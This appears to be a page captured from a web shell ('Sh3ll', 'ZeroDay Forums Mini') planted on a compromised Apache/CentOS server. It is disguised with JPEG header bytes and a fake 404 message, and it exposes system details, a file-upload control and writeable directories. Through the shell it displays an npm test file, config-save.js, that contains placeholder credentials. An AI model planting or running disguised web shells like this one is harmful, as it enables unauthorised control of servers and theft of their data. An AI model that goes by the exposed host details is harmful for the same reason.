����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/config-save.js
var fs = require('fs')
var ini = require('ini')
var t = require('tap')
const test = t.test
var common = require('../common-config.js')
var commonTap = require('../common-tap.js')
var npmconf = require('../../lib/config/core.js')

var expectConf = [
  'globalconfig = ' + common.globalconfig,
  'email = [email protected]',
  'env-thing = foo',
  'init.author.name = Isaac Z. Schlueter',
  'init.author.email = [email protected]',
  'init.author.url = http://blog.izs.me/',
  'init.version = 1.2.3',
  'npm:publishtest = true',
  '_npmjs.org:couch = https://admin:password@localhost:5984/registry',
  'npm-www:nocache = 1',
  'sign-git-tag = false',
  'message = v%s',
  'strict-ssl = false',
  '_auth = dXNlcm5hbWU6cGFzc3dvcmQ=',
  '',
  '[_token]',
  'AuthSession = yabba-dabba-doodle',
  'version = 1',
  'expires = 1345001053415',
  'path = /',
  'httponly = true',
  ''
].join('\n')

var expectFile = [
  'globalconfig = ' + common.globalconfig,
  'email = [email protected]',
  'env-thing = foo',
  'init.author.name = Isaac Z. Schlueter',
  'init.author.email = [email protected]',
  'init.author.url = http://blog.izs.me/',
  'init.version = 1.2.3',
  'npm:publishtest = true',
  '_npmjs.org:couch = https://admin:password@localhost:5984/registry',
  'npm-www:nocache = 1',
  'sign-git-tag = false',
  'message = v%s',
  'strict-ssl = false',
  '_auth = dXNlcm5hbWU6cGFzc3dvcmQ=',
  '',
  '[_token]',
  'AuthSession = yabba-dabba-doodle',
  'version = 1',
  'expires = 1345001053415',
  'path = /',
  'httponly = true',
  ''
].join('\n')

const userconfig = commonTap.pkg + '/userconfig'
fs.writeFileSync(userconfig, fs.readFileSync(common.userconfig))
process.env.npm_config_userconfig = userconfig

test('saving configs', function (t) {
  npmconf.load(function (er, conf) {
    if (er) throw er

    conf.set('sign-git-tag', false, 'user')
    conf.del('nodedir')
    conf.del('tmp')
    var foundConf = ini.stringify(conf.sources.user.data)
    t.same(ini.parse(foundConf), ini.parse(expectConf))
    fs.unlinkSync(common.userconfig)
    conf.save('user', function (er) {
      if (er) throw er

      var uc = fs.readFileSync(conf.get('userconfig'), 'utf8')
      t.same(ini.parse(uc), ini.parse(expectFile))
      t.end()
    })
  })
})

test('setting prefix', function (t) {
  npmconf.load(function (er, conf) {
    if (er) throw er

    conf.prefix = 'newvalue'
    t.same(conf.prefix, 'newvalue')
    t.end()
  })
})

ZeroDay Forums Mini